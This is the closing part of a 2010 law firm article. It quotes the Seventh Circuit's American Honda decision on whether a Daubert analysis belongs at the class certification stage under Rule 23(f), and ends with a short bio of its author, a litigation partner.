NOTE: In response to plaintiffs’ request that the Circuit Court deny leave to appeal, the Seventh Circuit explained, “Given the uncertainty surrounding the propriety of conducting a Daubert analysis at the class certification stage, and the frequency with which this issue arises, we find the question to be one appropriate for resolution under Rule 23(f).” American Honda, at 815 (citation omitted).

© 2010 Jeffer Mangels Butler & Mitchell LLP. All rights reserved.

About the Author:

Michael J. Hassen is a Litigation Partner at Jeffer Mangels Butler & Mitchell LLP with more than 23 years experience in general business and commercial litigation, including class action defense and matters involving intellectual property, securities and unfair competition.  415-984-9666 / www.jmbm.com